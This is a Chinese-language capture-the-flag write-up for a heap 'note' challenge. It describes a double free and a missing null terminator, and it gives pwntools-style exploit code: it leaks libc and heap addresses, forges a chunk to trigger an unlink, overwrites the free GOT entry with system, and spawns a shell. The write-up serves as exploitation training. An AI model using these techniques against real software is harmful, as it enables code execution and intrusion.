Vuln
- delete note处存在double free
- 读取note处未给结尾添0,存在内存泄漏
Struct
基本结构如下
struct note_info
{
u8 inuse;
u8 length;
char *note;
};
struct mheap_info
{
0x100; // all
u8 number; // n
struct note_info[0x100];
};
Leak
主要利用两个地方
- read note的时候没有在末尾添加0
- 使用了realloc分配空间,realloc不会对分配的空间初始化
def d_leak():
for i in range(4):
new_note(str(i)*(0x04))
del_note(2)
padding = 'l'*0x90
edit_note(1, padding)
list_note()
io.recvuntil(padding)
data = (io.recvuntil('\n')[:-1]).ljust(8, chr(0))
main_arena_addr = u64(data)
libc_addr = main_arena_addr - main_arena_off
return libc_addr
基本流程如下
- 先创建4个块,每个块都大小一样(程序中对大小调整了,每个chunk都是0x90)
- free其中的2,这样就会造成small bin加入双链表,并且main_arena保存到heap上
- 填充note1,刚好到刚刚保存的main_arena指针位置前
- list note从而leak地址,计算出libc基址
leak出heap地址也类似
def leak_hp_addr():
#raw_input("leak heap")
new_note('2'*0x08)
new_note('3'*0x08)
new_note('4'*0x08) # 4
del_note(1)
del_note(3)
new_note('1'*0x08)
list_note()
io.recvuntil('1'*0x08)
data = (io.recvuntil('\n')[:-1]).ljust(8, chr(0))
note_stru_addr = u64(data) - 0x19C0
log.info("note struct address: " + hex(note_stru_addr))
new_note('3'*0x08) # recover heap
for i in range(5):
del_note(i)
return note_stru_addr
Exp
首先观察可知,没有对free进行检查,这里学习一下double free的利用
double free
new_note('0'*0xa0) # note0
new_note('1'*0xa0) # note1
del_note(1)
# fake chunk
target_addr = note_stru_addr+0x20 # note0 ptr = &(heap_info->number)
fake_fd = target_addr - 0x18
fake_bk = target_addr - 0x10
payload = p64(0x00) + p64(0x101)
payload += p64(fake_fd) + p64(fake_bk)
payload += 'u'*0xe0
payload += p64(0x100) + p64(0x100)
payload += 'f'*0x80
edit_note(0, payload)
del_note(1)
- create note0和note1,并free note1
- 编辑第一个chunk并且要覆盖到第二个chunk,改变第二个chunk的结构,使得第二个chunk的size的P位为0
- 再次free note1,触发unlink
Overwrite
已经对结构体能够控制了,接下来覆盖got表就行了
payload = p64(20) + p64(1) + p64(0x08) + p64(elf.got['free'])
edit_note(0, payload.ljust(0x190, chr(0)))
edit_note(0, p64(system_addr))
new_note("/bin/sh\x00")
del_note(1)